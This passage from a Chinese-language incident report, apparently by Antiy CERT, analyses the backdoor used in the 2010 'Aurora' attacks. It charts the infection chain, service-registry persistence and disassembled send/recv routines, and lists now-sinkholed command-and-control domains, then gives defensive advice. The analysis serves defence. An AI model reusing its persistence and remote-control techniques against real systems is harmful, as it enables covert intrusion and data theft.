溢出成功
|
|
Y
+--------+---------+ +--------------------+
| 执行代码 |----生成-->|批处理(用以删除自身)|
+--------+---------+ +--------------------+
|
|
释放并注册服务
|
|
Y
+--------+---------+
| Rasmon.dll |
+--------+---------+
|
|
加载
|
|
Y
+--------+---------+ +-----------------+
| acelpvc.dll |----加载-->| VedioDriver.dll |
+------------------+ +-----------------+
rasmon.dll: 加载acelpvc.dll,具有后门功能
acelpvc.dll: 连接指定IP发送数据,加载VedioDriver.dll
VedioDriver.dll: 远程桌面信息操作功能
由于样本集中的3个可执行文件基本功能逻辑完全一致,且样本中的各rasmon.dll的功能相同,所以下面以BCBEF5AB2C75C171FEDCCA0A33BCF7F7样本为主展开进行综合分析:
3.1 PE可执行样本的本地行为
1、相关PE可执行文件运行后会释放以下文件
%System32%\Rasmon.dll
2、创建注册表服务项
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RaS(随机四位数)\ImagePath
值: 字符串: "%SystemRoot%\Sys-k netsvcs."
描述:设置服务启动路径
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RaS(随机四位数)\ObjectName
值: 字符串: "LocalSystem"
描述:设置服务对象名称
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RaS(随机四位数)\Parameters\ServiceDll
值: 字符串: "c:\windows\system32\rasmon.dll."
描述:设置服务对应的dll项
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\RaS(随机四位数)\Start
值: DWORD: 2 (0x2)
描述:设置服务的启动方式为自启动
3、开启svchost.exe进程将Rasmon.dll注入到进程中创建一个线程向病毒作者地址发送数据,使控制者可以对被感染的用户进行远程控制的相关操作。
3.2 PE可执行样本的网络行为
1、协议:TCP
2、主动连接远程443端口发送数据并等待回复
3、当前域名解析后IP地址已经被相关免费2级域名服务商指向:127.0.0.2,已经不具有分析价值。
4、描述:连接到该域名等待接收病毒作者发送的控制指令
3.3 衍生样本Rasmon.dll的功能分析
病毒运行后开启6个线程,分别对文件数据进行操作,允许远程攻击者进行监测、窃取等操作。
远程攻击者可以对受控系统做如下操作:
1、检查进程和服务的状态、控制和关闭进程与服务。
2、创建、修改和删除注册表项与键值。
3、读、写、执行、复制、删除等文件操作。
4、重启和关闭计算机系统。
5、收集受控系统信息,如:IP地址、计算机名、操作系统版本、内存大小等。
6、清除系统事件日志。
病毒的衍生文件rasmon.dll创建文件%temp%\1.tmp,关键API:CreateFileA:
+-----------------------------------------------------------------------------------------------+
| 10007024 . 6A 00 push 0 ; /hTemplateFile = NULL |
| 10007026 . 90 nop ; | |
| 10007027 . 6A 00 push 0 ; |Attributes = 0 |
| 10007029 . 90 nop ; | |
| 1000702A . 6A 02 push 2 ; |Mode = CREATE_ALWAYS |
| 1000702C . 90 nop ; | |
| 1000702D . 6A 00 push 0 ; |pSecurity = NULL |
| 1000702F . 90 nop ; | |
| 10007030 . 6A 00 push 0 ; |ShareMode = 0 |
| 10007032 . 90 nop ; | |
| 10007033 . 68 00000040 push 40000000 ; |Access = GENERIC_WRITE|
| 10007038 . 90 nop ; | |
| 10007039 . 8D5424 4C lea edx,dword ptr ss:[esp+4C] ; | |
| 1000703D . 90 nop ; | |
| 1000703E . 52 push edx ; |FileName |
| 1000703F . 90 nop ; | |
| 10007040 . FF15 2CD10010 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileA |
+ ----------------------------------------------------------------------------------------------+
并检测是否存在%system32%\acelpvc.dll,如果存在则加载,下面为代码片段,加载API:LoadLibraryA:
+--------------------------------------------------------------------------------------------------+
| 100062AF . 68 70340110 push Rasmon.10013470 ; /FileName = "acelpvc.dll" |
| 100062B4 . 90 nop ; | |
| 100062B5 . 894C24 18 mov dword ptr ss:[esp+18],ecx ; | |
| 100062B9 . 90 nop ; | |
| 100062BA . FF15 90D10010 call dword ptr ds:[<&KERNEL32.LoadLibrar>; \LoadLibraryA |
+ -------------------------------------------------------------------------------------------------+
EntryMain()入口,调用acelpvc.dll文件的EntryMain模块:
+---------------------------------------------------------------------------+
| 10005017 . FFD0 call eax ;调用acelpvc.dll文件的EntryMain模块 |
+ --------------------------------------------------------------------------+
由acelpvc.dll导入%system32%\VedioDriver.dll。调用%system32%\drivers\etc\networks文件中的信息。
尝试下载远程文件到本地并重命名为mdm.exe并执行(地址已失效) 。
攻击者可以利用VedioDriver.dll相关功能模块对受控系统进行监视用户界面活动。
下面是向外发送数据的代码片段:
+-----------------------------------------------------------------------------------+
| 1000138E . 6A 00 push 0 ; /Flags = 0 |
| 10001391 . 8BCB mov ecx,ebx ; | |
| 10001394 . 2BCE sub ecx,esi ; | |
| 10001397 . 51 push ecx ; |DataSize |
| 10001399 . 8D142E lea edx,dword ptr ds:[esi+ebp] ; | |
| 1000139D . 52 push edx ; |Data |
| 1000139F . 57 push edi ; |Socket |
| 100013A1 . FF15 58D00010 call dword ptr ds:[<&WS2_32.#19>] ; \send |
| 堆栈: |
| 0006F0B4 00000134 Socket = 134 |
| 0006F0B8 0006F1FC Data = 0006F1FC |
| 0006F0BC 00000014 DataSize = 14 (20.) |
| 0006F0C0 00000000 Flags = 0 |
+ ----------------------------------------------------------------------------------+
数据格式如下:
+00 DWORD MajorCode
+04 DWORD MinorCode
+08 DWORD SubCode
+0C DWORD ExtraSize
+10 WORD ExtraChecksum
+12 BYTE ExtraKey
+13 BYTE Padding
接收14字节数据(已失效),如接收失败则删除临时目录下的1.tmp,下面为相关代码:
+--------------------------------------------------------------------------------------------+
| 10009A9B . 57 push edi ; /Flags |
| 10009A9C . 90 nop ; | |
| 10009A9D . 6A 14 push 14 ; |BufSize = 14 (20.) |
| 10009A9F . 90 nop ; | |
| 10009AA0 . 8D4C24 1C lea ecx,dword ptr ss:[esp+1C] ; | |
| 10009AA4 . 90 nop ; | |
| 10009AA5 . 51 push ecx ; |Buffer |
| 10009AA6 . 90 nop ; | |
| 10009AA7 . 56 push esi ; |Socket |
| 10009AA8 . 90 nop ; | |
| 10009AA9 . FF15 5CD00010 call dword ptr ds:[<&WS2_32.#16>] ; \recv |
| 堆栈: |
| 0006F1D8 00000052 Socket = 52 |
| 0006F1DC 0006F1FC Buffer = 0006F1FC |
| 0006F1E0 00000014 BufSize = 14 (20.) |
| 0006F1E4 00000000 Flags = 0 |
+ -------------------------------------------------------------------------------------------+
尝试连接360.homeunix.com, 该域名已经被相关免费2级域名服务商被指向:127.0.0.2
+-------------------------------------------------------------------------------------------+
| 10002A58 . 68 40300110 push Rasmon.10013040 ; ASCII "192.168.5.164" |
| 10002A5D . 90 nop |
| 10002A5E . E8 C1570000 call Rasmon.10008224 |
| |
| 解密后的地址: |
| 33 36 30 2E 68 6F 6D 65 75 6E 69 78 2E 63 6F 6D | 360.homeunix.com |
| |
+ ------------------------------------------------------------------------------------------+
3.4 acelpvc.dll、VedioDriver.dll的同源关系确认
相关国外厂商在命名中对acelpvc.dll、VedioDriver.dll与可执行主程序与Rasmon.dll采用了同一命名,这是一种以事件归一性为准的命名方法,实际上acelpvc.dll、VedioDriver.dll与其他样本明显不具有代码同源性,经acelpvc.dll与VedioDriver.dll分析确认发现,这一个VNC型后门。
VNC(Virtual Network Computing)是由Olivetti & Oracle实验室开发的开源远程管理软件,后此实验室被AT&T收购,2002年AT&T终止了项目更新。由于该项目遵循 GPL协议,因此后续衍生出了RealVNC、TightVNC、UltraVNC、Vine Viewer等多个版本。
VNC拥有较大的用户基数,其Server端运行后有可控托盘图标,因此并不是一个后门程序。但由于其开放源码,2000年已经发现有通过修改功能代码、屏蔽掉托盘图标的后门,之后利用VNC源码进行改造的后门呈现出家族化趋势。2003年3月8日被安天捕获,并引发业内广泛关注的口令蠕虫(Worm/Win32.Dvlodr)也正是以此为后门。
样本中VedioDriver.dll包含(auroraVNC)编译路径,如下图。
+------------------------------------------------------------------------------+
|00001660h: 07 00 00 00 66 3A 5C 41 75 72 6F 72 61 56 4E 43 ; ....f:\AuroraVNC |
|00001670h: 5C 56 65 64 69 6F 44 72 69 76 65 72 5C 52 65 6C ; \VedioDriver\Rel |
|00001680h: 65 61 73 65 5C 56 65 64 69 6F 44 72 69 76 65 72 ; ease\VedioDriver |
|00001690h: 2E 70 64 62 00 00 00 00 00 00 00 00 00 00 00 00 ; .pdb............ |
|000016a0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................ |
+ -----------------------------------------------------------------------------+
由http://www.realvnc.com/下载VNC程序,其中文件wm_hooks.dll与acelpvc.dll文件逻辑有一定相似性。
1. Wm_hooks.dll与acelpvc.dll的功能相同或代码相似处很多,下面是以入口地址、加载DLL和消息弹窗来进行比较的结果是除了编译后的细小地址上的差别外,在核心结构与功能上是一致的。
下面是Wm_hooks.dll代码片段:
+--------------------------------------------------------------------------------------------------+
| 10001FE1 |. 68 68720010 PUSH wm_hooks.10007268 ; /flsalloc |
| 10001FE6 |. 57 PUSH EDI ; |hModule |
| 10001FE7 |. FFD6 CALL ESI ; \GetProcAddress |
| 10001FE9 |. 68 5C720010 PUSH wm_hooks.1000725C ; /flsgetvalue |
| ... |
| 10002010 |. 833D A0990010>CMP DWORD PTR DS:[100099A0],0 ; 相似代码处 |
| ... |
| 10002037 |. C705 9C990010>MOV DWORD PTR DS:[1000999C],wm_hooks.100>; 入口地址 |
| 10002041 |. A3 A8990010 MOV DWORD PTR DS:[100099A8],EAX |
| 10002046 |> 68 411E0010 PUSH wm_hooks.10001E41 ; 入口地址 |
| 1000204B |. FF15 9C990010 CALL DWORD PTR DS:[1000999C] ; wm_hooks.10001D97 |
| ... |
| 10002071 |. 56 PUSH ESI ; /pValue |
| 10002072 |. FF35 54900010 PUSH DWORD PTR DS:[10009054] ; |TlsIndex = 3 |
| 10002078 |. FF15 A4990010 CALL DWORD PTR DS:[100099A4] ; \TlsSetValue |
| ... |
| 1000208C |. FF15 00700010 CALL DWORD PTR DS:[<&KERNEL32.GetCurrent>; [GetCurrentThreadId |
| ... |
| 10004CAA |. 68 38790010 PUSH wm_hooks.10007938 ; /user32.dll |
| 10004CAF |. FF15 CC700010 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; \LoadLibraryA |
| ... |
| 10004CBF |. 8B35 30700010 MOV ESI,DWORD PTR DS:[<&KERNEL32.GetProc>; kernel32.GetProcAddress |
| 10004CC5 |. 68 2C790010 PUSH wm_hooks.1000792C ; /messageboxa |
| 10004CCA |. 57 PUSH EDI ; |hModule |
| ... |
| 10004CD6 |. 68 1C790010 PUSH wm_hooks.1000791C ; /getactivewindow |
| 10004CDB |. 57 PUSH EDI ; |hModule |
| 10004CDC |. FFD6 CALL ESI ; \GetProcAddress |
| 10004CDE |. 68 08790010 PUSH wm_hooks.10007908 ; /getlastactivepopup |
| ... |
| 10004CF9 |. 68 EC780010 PUSH wm_hooks.100078EC ; /getuserobjectinformationa|
| 10004CFE |. 57 PUSH EDI ; |hModule |
| 10004CFF |. FFD6 CALL ESI ; \GetProcAddress |
| ... |
| 10004D0A |. 68 D4780010 PUSH wm_hooks.100078D4 ; /getprocesswindowstation |
| 10004D0F |. 57 PUSH EDI ; |hModule |
| 10004D10 |. FFD6 CALL ESI ; \GetProcAddress |
| 10004D12 |. A3 889C0010 MOV DWORD PTR DS:[10009C88],EAX ; 相似代码处 |
+ -------------------------------------------------------------------------------------------------+
下面是acelpvc.dll相似代码片段:
+-----------------------------------------------------------------------------------------------------------------+
| 10018EBA |. 68 C8DE0210 push acelpvc.1002DEC8 ; /ProcNameOrOrdinal = "FlsAlloc" |
| 10018EBF |. 57 push edi ; |hModule |
| 10018EC0 |. FFD6 call esi ; \GetProcAddress |
| 10018EC2 |. 68 BCDE0210 push acelpvc.1002DEBC ; /ProcNameOrOrdinal = "FlsGetValue" |
|... |
| 10018F10 |. C705 A47B0310>mov dword ptr ds:[10037BA4],acelpvc.1001>; 入口地址 |
| 10018F1A |. A3 B07B0310 mov dword ptr ds:[10037BB0],eax |
| 10018F1F |> 68 1A8D0110 push acelpvc.10018D1A ; 入口地址 |
| 10018F24 |. FF15 A47B0310 call dword ptr ds:[10037BA4] ; acelpvc.10018C70 |
|... |
| 10018F4A |. 56 push esi ; /pValue |
| 10018F4B |. FF35 D4520310 push dword ptr ds:[100352D4] ; |TlsIndex = 3 |
| 10018F51 |. FF15 AC7B0310 call dword ptr ds:[10037BAC] ; \TlsSetValue |
| ... |
| 10018F65 |. FF15 88D10210 call dword ptr ds:[1002D188] ; [GetCurrentThreadId |
| ... |
| 1001CAE2 |. 68 DCDA0210 push acelpvc.1002DADC ; /FileName = "user32.dll" |
| 1001CAE7 |. FF15 78D00210 call dword ptr ds:[1002D078] ; \LoadLibraryA |
| ... |
| 1001CAF7 |. 8B35 74D00210 mov esi,dword ptr ds:[1002D074] ; kernel32.GetProcAddress |
| 1001CAFD |. 68 CCE50210 push acelpvc.1002E5CC ; /ProcNameOrOrdinal = "MessageBoxA" |
| ... |
| 1001CB0E |. 68 BCE50210 push acelpvc.1002E5BC ; /ProcNameOrOrdinal = "GetActiveWindow" |
| 1001CB13 |. 57 push edi ; |hModule |
| 1001CB14 |. FFD6 call esi ; \GetProcAddress |
| 1001CB16 |. 68 A8E50210 push acelpvc.1002E5A8 ; /ProcNameOrOrdinal = "GetLastActivePopup" |
| ... |
| 1001CB31 |. 68 8CE50210 push acelpvc.1002E58C ; /ProcNameOrOrdinal = "GetUserObjectInformationA" |
| 1001CB36 |. 57 push edi ; |hModule |
| 1001CB37 |. FFD6 call esi ; \GetProcAddress |
| ... |
| 1001CB42 |. 68 74E50210 push acelpvc.1002E574 ; /ProcNameOrOrdinal = "GetProcessWindowStation" |
| 1001CB47 |. 57 push edi ; |hModule |
| 1001CB48 |. FFD6 call esi ; \GetProcAddress |
+ ----------------------------------------------------------------------------------------------------------------+
2. Wm_hooks.dll与acelpvc.dll中都调用了大量的相同的PE动态链接库与函数,这里列举这两个DLL都引用.Net Framework中的mscoree.dll和CorExitProcess函数为例来进行说明。下面是Wm_hooks.dll调用.NET Framework相关组件文件及函数代码片段:
+------------------------------------------------------------------------------------------------------------------+
| 10001BF0 /$ 68 14720010 PUSH wm_hooks.10007214 ; /mscoree.dll |
| 10001BF5 |. FF15 34700010 CALL DWORD PTR DS:[<&KERNEL32.GetModuleH>; \GetModuleHandleA |
| 10001BFB |. 85C0 TEST EAX,EAX ; 都是调用.NET Framework相关组件文件和函数 |
| 10001BFD |. 74 16 JE SHORT wm_hooks.10001C15 |
| 10001BFF |. 68 04720010 PUSH wm_hooks.10007204 ; /corexitprocess |
| 10001C04 |. 50 PUSH EAX ; |hModule |
| 10001C05 |. FF15 30700010 CALL DWORD PTR DS:[<&KERNEL32.GetProcAdd>; \GetProcAddress |
| 10001C0B |. 85C0 TEST EAX,EAX |
| 10001C0D |. 74 06 JE SHORT wm_hooks.10001C15 |
| 10001C0F |. FF7424 04 PUSH DWORD PTR SS:[ESP+4] |
| 10001C13 |. FFD0 CALL EAX |
| 10001C15 |> FF7424 04 PUSH DWORD PTR SS:[ESP+4] ; /ExitCode |
| 10001C19 \. FF15 2C700010 CALL DWORD PTR DS:[<&KERNEL32.ExitProces>; \ExitProcess |
+ -----------------------------------------------------------------------------------------------------------------+
下面为acelpvc.dll调用与Wm_hooks.dll相同的DLl及函数代码片段:
+--------------------------------------------------------------------------------------------------+
| 10017593 /$ 68 FCDB0210 push acelpvc.1002DBFC ; /pModule = "mscoree.dll" |
| 10017598 |. FF15 3CD10210 call dword ptr ds:[1002D13C] ; \GetModuleHandleA |
| 1001759E |. 85C0 test eax,eax |
| 100175A0 |. 74 16 je short acelpvc.100175B8 |
| 100175A2 |. 68 ECDB0210 push acelpvc.1002DBEC ; /ProcNameOrOrdinal = "CorExitProcess" |
| 100175A7 |. 50 push eax ; |hModule |
| 100175A8 |. FF15 74D00210 call dword ptr ds:[1002D074] ; \GetProcAddress |
| 100175AE |. 85C0 test eax,eax |
| 100175B0 |. 74 06 je short acelpvc.100175B8 |
| 100175B2 |. FF7424 04 push dword ptr ss:[esp+4] |
| 100175B6 |. FFD0 call eax |
| 100175B8 |> FF7424 04 push dword ptr ss:[esp+4] ; /ExitCode |
| 100175BC \. FF15 5CD10210 call dword ptr ds:[1002D15C] ; \ExitProcess |
+ -------------------------------------------------------------------------------------------------+
VedioDriver.dll编译路径中有AuroraVNC,其与VNC具有一定的关联性:
+------------------------------------------------------------------------------+
|00001660h: 07 00 00 00 66 3A 5C 41 75 72 6F 72 61 56 4E 43 ; ....f:\AuroraVNC |
|00001670h: 5C 56 65 64 69 6F 44 72 69 76 65 72 5C 52 65 6C ; \VedioDriver\Rel |
|00001680h: 65 61 73 65 5C 56 65 64 69 6F 44 72 69 76 65 72 ; ease\VedioDriver |
|00001690h: 2E 70 64 62 00 00 00 00 00 00 00 00 00 00 00 00 ; .pdb............ |
|000016a0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................ |
+ -----------------------------------------------------------------------------+
由此相关分析可得出:acelpvc.dll与VNC文件中的Wm_hooks.dll有部分代码功能相同,但并未完全具有VNC的所有功能。
3.acelpvc.dll的逆向代码功能与VNC功能代码有相同之处。下面为VNC中的源码片段为例进行说明:VNCHooks.cpp全部代码链接为:http://www.iteria.fr/public/UVNCServer/winvnc/vnchooks/VNCHooks.cpp ,其中截取查找的窗口类名这部分源代码,如下所示:
+--------------------------------------------------------------------+
| // Routine to send an UpdateRect message to WinVNC |
| inline void SendUpdateRect(SHORT x, SHORT y, SHORT x2, SHORT y2) |
| { |
| WPARAM vwParam; |
| LPARAM vlParam; |
| |
| vwParam = MAKELONG(x, y); |
| vlParam = MAKELONG(x2, y2); |
| |
| // Send the update to WinVNC |
| PostThreadMessage( |
| vnc_thread_id, |
| UpdateRectMessage, |
| vwParam, |
| vlParam |
| ); |
| HWND hWndRemote=FindWindow("WinVNC desktop sink", "WinVNC"); |
| if (hWndRemote==NULL) UnSetHooks(vnc_thread_id); |
| } |
+ -------------------------------------------------------------------+
下面为acelpvc.dll注册窗口类创建窗口的逆向代码部分。与上面的源码比较,功能一致,显都有"WinVNC desktop sink"。
+------------------------------------------------------------------------------------------------------+
| 100088CA |. 51 push ecx ; /pWndClassEx |
| 100088CB |. 894424 2C mov dword ptr ss:[esp+2C],eax ; | |
| 100088CF |. 897C24 30 mov dword ptr ss:[esp+30],edi ; | |
| 100088D3 |. C74424 34 74D>mov dword ptr ss:[esp+34],acelpvc.1002D4>; |ASCII "WinVNC desktop sink" |
| 100088DB |. 897C24 38 mov dword ptr ss:[esp+38],edi ; | |
| 100088DF |. FF15 74D20210 call dword ptr ds:[1002D274] ; \RegisterClassExA |
| 100088E5 |. 66:A3 5871031>mov word ptr ds:[10037158],ax |
| 100088EB |> 8B15 D8790310 mov edx,dword ptr ds:[100379D8] ; acelpvc.10000000 |
| 100088F1 |. 57 push edi ; /lParam |
| 100088F2 |. 52 push edx ; |hInst => 10000000 |
| 100088F3 |. 57 push edi ; |hMenu |
| 100088F4 |. 57 push edi ; |hParent |
| 100088F5 |. 68 C8000000 push 0C8 ; |Height = C8 (200.) |
| 100088FA |. 68 90010000 push 190 ; |Width = 190 (400.) |
| 100088FF |. 68 00000080 push 80000000 ; |Y = 80000000 (-2147483648.) |
| 10008904 |. 68 00000080 push 80000000 ; |X = 80000000 (-2147483648.) |
| 10008909 |. 68 0000CF00 push 0CF0000 ; |Style = WS_OVERLAPPED| |
| WS_MINIMIZEBOX|WS_MAXIMIZEBOX|WS_SYSMENU|WS_THICKFRAME|WS_CAPTION |
| 1000890E |. 68 A8D30210 push acelpvc.1002D3A8 ; |WindowName = "Default" |
| 10008913 |. 68 74D40210 push acelpvc.1002D474 ; |Class = "WinVNC desktop sink"|
| 10008918 |. 57 push edi ; |ExtStyle |
| 10008919 |. FF15 78D20210 call dword ptr ds:[1002D278] ; \CreateWindowExA |
+ -----------------------------------------------------------------------------------------------------+
3.5 acelpvc.dll、VedioDriver.dll的功能分析
acelpvc.dll检测受控端是否是屏幕保护状态,如果是屏幕保护状态则发送关闭屏幕保护消息,核心API为:GetClassNameA与PostMessageA:
+-------------------------------------------------------------------------------------------------------+
| 100079FA . 68 00010000 push 100 ; /Count = 100 (256.) |
| 100079FF . 8D4424 08 lea eax,dword ptr ss:[esp+8] ; |获取屏幕保护程序类名 |
| 10007A03 . 50 push eax ; |Buffer |
| 10007A04 . 53 push ebx ; |hWnd |
| 10007A05 . FF15 ECD10210 call dword ptr ds:[1002D1EC] ; \GetClassNameA |
| 10007A0B . 85C0 test eax,eax |
| 10007A0D . 74 23 je short acelpvc.10007A32 |
| 10007A0F . 56 push esi |
| 10007A10 . 57 push edi |
| 10007A11 . BF 9CD40210 mov edi,acelpvc.1002D49C ; ASCII "WindowsScreenSaverClass" |
| 10007A16 . 8D7424 0C lea esi,dword ptr ss:[esp+C] |
| 10007A1A . B9 18000000 mov ecx,18 |
| 10007A1F . 33D2 xor edx,edx |
| 10007A21 . F3:A6 repe cmps byte ptr es:[edi],byte ptr ds:> |
| 10007A23 . 5F pop edi |
| 10007A24 . 5E pop esi |
| 10007A25 . 75 0B jnz short acelpvc.10007A32 |
| 10007A27 . 52 push edx ; /lParam => 0 |
| 10007A28 . 52 push edx ; |wParam => 0 |
| 10007A29 . 6A 10 push 10 ; |向屏幕保护发送关闭消息 |
| 10007A2B . 53 push ebx ; |hWnd |
| 10007A2C . FF15 08D20210 call dword ptr ds:[1002D208] ; \PostMessageA |
+ ------------------------------------------------------------------------------------------------------+
调用VedioDriver.dll更新窗口图像,下面为部分逆向代码片段:
+------------------------------------------------------------------------------------------------------------+
| 10001CE0 . 68 DC200010 push VedioDri.100020DC ; /MsgName = "VedioDriver.Deferred.UpdateMessage"|
| 10001CE5 . FF15 3C200010 call dword ptr ds:[<&USER32.RegisterWind>; \RegisterWindowMessageA |
| 10001CEB . A3 4C300010 mov dword ptr ds:[1000304C],eax |
| 10001CF0 . C3 retn |
+ -----------------------------------------------------------------------------------------------------------+
acelpvc.dll、VedioDriver.dll的功能具有VNC的相关功能,可以被远程监视窗口活动。
3.6 样本使用的域名分析
上述样本的控制跳板定向为免费2级域名,这是当前远程控制木马广泛使用的技术手段,由于免费2级域名申请相对简单,且不产生支付环节,使攻击者的成本降低,隐蔽性提高。
安天通过行为分析系统与人工分析结合提取了目前样本集合所使用的五个域名。其中除了一个已经失效域名,都是免费2级域名服务商所提供的动态2级域名。相关服务商已经进行了上述指向处理,目前相关木马已经无法与控制服务器连接。这可能是有关国家应急响应(CERT)体系同一的协调响应的结果。
下面是目前分析样本集中所提取到的域名:
+---------------------+----------------+---------------------+
| 域名 | 被指向的IP地址 | IP地址属地 |
|---------------------|----------------|---------------------|
| bl88.webhop.org | 127.0.0.1 | 本地(被服务商屏蔽)|
|---------------------|----------------|---------------------|
| blog1.servebeer.com | 127.0.0.2 | 本地(被服务商屏蔽)|
|---------------------|----------------|---------------------|
| www.ccmp1.com | 域名失效 | 域名失效 |
|---------------------|----------------|---------------------|
| 360.homeunix.com | 127.0.0.1 | 本地(被服务商屏蔽)|
|---------------------|----------------|---------------------|
| sl1.homelinux.org | 127.0.0.2 | 本地(被服务商屏蔽)|
+---------------------+----------------+---------------------+
安天提取到的域名信息与目前境外厂商公开资料域名有所差异,这说明相关恶意代码有更多的变种或被加工、定制的版本,根据目前全部公开资料整理的域名结果集来看,尚有19个域名与安天目前分析到的5个域名不重合,根据目前每一个定制版本都对应一个不同域名的规律,应该至少有19个样本不在本次分析的样本集合中。这可能由于安天没有捕获到相关样本,也可能由于安天对照命名更新机制有一定滞后性,有的样本安天捕获入库时其他厂商尚不能检测,因此没有对照命名没有提取到。
同时各厂商和网络安全组织可查阅公开资料也表明,部分在此次事件中出现的域名也在其他类型攻击中被发现(如Microsoft Registry Cleaner与Security Lab所公布的adobe flash player的攻击事件),通过上述关联基本可以看出,相关攻击事件存在一定的时间跨度和关联。当然地下经济体系的各种资源有一定的可置换交易性,同时也不能排除免费域名注册者账户密码被窃取、或者被猜测到的各种可能。因此也并不能绝对确认上述攻击与本次事件绝对系同一源头。
第4章 最终分析意见
在本事件中攻击者主要依托客户端程序的0day漏洞,实现可执行木马注入,并加载远程控制等其他功能模块,其后利用免费2级域名为控制跳板,实施相关行为。
综合相关样本集合分析结果与网络资料汇总分析表明,这是一组有时间跨度的、有覆盖范围的关联型攻击事件。相关事件样本的同源性可以得到确认。但由于当前全球地下经济体系漏洞、恶意代码和地下资源的产业链条的存在,漏洞的POC和exploit代码、恶意代码源码和加工的版本、肉鸡(跳板)、其他可利用空间和代理等,都在被广泛的交易或共享,代码同源性分析只能作为事件存在关联的判据,在没有有关网络行为有效辅证的情况下,难以对攻击的同源性进行确认。
同时根据安天 CERT了解到的情况,各个反病毒公司都捕获到了一定基数的相关样本,而非全部来自现场定向提取,这使相关事件是一组定向型攻击,还是广泛的攻击事件,或者兼而有之,很难做出有效判定。加之有关分析时效性所限较长,场景难于追溯复现,而传言受到入侵的有关公司亦没有公布更多有效信息,这都使进一步分析工作已经缺少进展的空间。
第5章 安天的建议与思考
目前针对内网体系的入侵,其原点更多的来自针对客户端应用的攻击,攻击的焦点多数集中于IE、Firefox浏览器等浏览器、office、Adobe PDF Reader等文档浏览和编辑工具等。对windows用户来说,牺牲部分兼容性将Windows DEP保护设置从保护默认的仅为基本的windows程序和服务使用调整到为所有程序和服务使用,是我们能看到的最具有普遍性的方法。同时兼容性问题一定程度上可以靠设置例外解决。但对于具有安全诉求的个人用户来说,需要知道,打开反病毒实时监控便可以畅行网络的时间段已经终结,尽管系统UAC和主动防御产品的交互的确构成了对用户的打扰,但安全必然要付出方便性的代价。(关于如何配置实现,参看附录链接)
而对企业网络来说,IT部门必须把维护的重点从关键服务器扩展到终端,一旦终端被突破,不仅其上的资料损失,而且会成为内部攻击的跳板,而终端用户的网络认证身份和权限,则完全被攻击者获取。仅凭出口UTM/IDP,很难阻塞到0DAY的攻击,网管需要补充更多的手段,以获取主机的异常和内网访问轨迹的变化。这使网管需要更多的精力对类似内网IDS日志和其他访问日志予以更密切的关注。
同时,类似 "浏览网页、打开文档文件与运行可执行程序一样是有风险的"安全常识的广泛普及尤为同样重要,很多企业的还把安全建立在简单的防病毒的早期规定,很多用户还完全不知道"静态文件"的风险。
同时不可否认,对于自由接入Internet的企业和机构的来说,将整体或者关键部门的网络与Internet断开,会严重的影响交流和效率,但对于安全诉求高于方便诉求的企业和部门,这确实是最后的措施。这种网络"隔离"不是鸵鸟政策,不是内部IT和CERT无能的表现,而是最不情愿的最终方案。
相关事件传言涉及的企业中涉及到了互联网、软件开发等国际领导厂商,甚至包括了主流安全厂商。有关事件再次反馈出整个互联网体系的脆弱,相关案例说明,在网络世界中,不仅是那些普通用户与安全投入不足的中小企业缺乏保障,即使是有成熟的安全体系,严格的管理制度,成建制的安全投入的大型企业与机构,包括安全企业本身,也都难以保障自己的安全。
在互联网的童年时代,系统攻防更多的集中于开放的服务端口,相对单一的防护和关注,能解决主要问题。而今随着主流操作系统本身的安全性的提升,安全威胁开始泛化到客户端的应用,不论是浏览、下载、聊天等网络行为,还是打开视频、音频等媒体文件、文档文件这样的本地交互,都可能是引入风险的过程,甚至包括编程环境对特定工程的编译、协议分析工具打开构造的数据包镜像,都会遭遇溢出。
在过去的几年,主流操作系统和软件厂商为改进安全响应能力做出了巨大的努力,充分缩短了从漏洞发现到补丁推出的时间,但相关情况说明,将安全维完全系于第一时间打补丁,就意味着在漏洞曝光前的潜伏期内,掌握0Day漏洞的攻击者可以像相关入侵事件传言的那样畅通无阻。
微软等厂商为了确保产品的稳定可靠,采用每月定时打补丁的整体策略,这是可以理解的,但对于类似"极光"等严重漏洞曝光后,微软打破模式,采用紧急单独发布补丁的应变态度更值得肯定。
同时也需要关注的是,有关厂商面临庞大的用户基数带来的运维压力,导致厂商必须在补丁升级中考虑的负载均衡策略,但这也让用户从补丁出现到打完补丁的时间间隔变得更长,这使基于补丁文件的差异点分析溢出点,然后对尚未打补丁的用户进行攻击的1Day攻击可以大行其道。但相对厂商的承载能力来说,如果让所有用户同时升级,则一方面可能面临带宽饱和、服务阻塞,结果所有用户都打不上补丁的情况出现;同时一旦补丁中有新的问题,则要承担更大的压力。这确实是两难的选择。
而更困难的局面在于,目前的漏洞分析挖掘的注意点已经不集中于主流厂商,而开始普遍扩散。而缺少安全规范、不能承担安全响应体系投入的中小型软件开发和互联网服务商,势必沦为集体性重灾区。有限的开发人员或者无力解决安全漏洞、或者对攻击浑然不觉、或者在开发与修补间疲于奔命。而大量在攻击和木马方面的小众事件也会最终分散和耗尽安全厂商的应急和分析人力。而正如我们过去一年所看到的,一方面部分公众还根据传言猜忌着反病毒厂商是不是也编写病毒,而各个反病毒厂商却都默默承受着庞大的地下经济体系所构造的千万级别的样本压力。如此推演,这虽然仍然将是一个更多人渴望向往、趋之若鹜的互联网,但也会沦为一个从业企业到网民人人自危的互联网。
作为安全厂商,我们期待公众和用户对于安全予以更多关注和投入,但我们深知如果更多用户的网络接入价值更多的被对安全的关注和投入抵消,那么网络产业的继续发展就会被阻塞。这正是安全厂商都积极的寻求让用户更小的投入获取更大的安全价值的原因。但无疑,仅靠安全厂商的力量,包括仅靠主流操作系统、设备和应用厂商的力量,都不足以拯救互联网可能在若干年后面对的安全困局。我们期待更广泛的协同、互动、合作、响应来遏制安全威胁的泛化。我们期待安全与丰富和精彩的内容与交互一样,成为互联网用户的基本体验。
附录
附录一:安天CERT相关时间表
安天CERT相关时间表:
+---------------+-------------------------------------------------------------------+
| 时间 | 事件 |
|---------------|-------------------------------------------------------------------|
| 2010-1-13 | 关注有关传言,并开始积累和收集资料。 |
|---------------|-------------------------------------------------------------------|
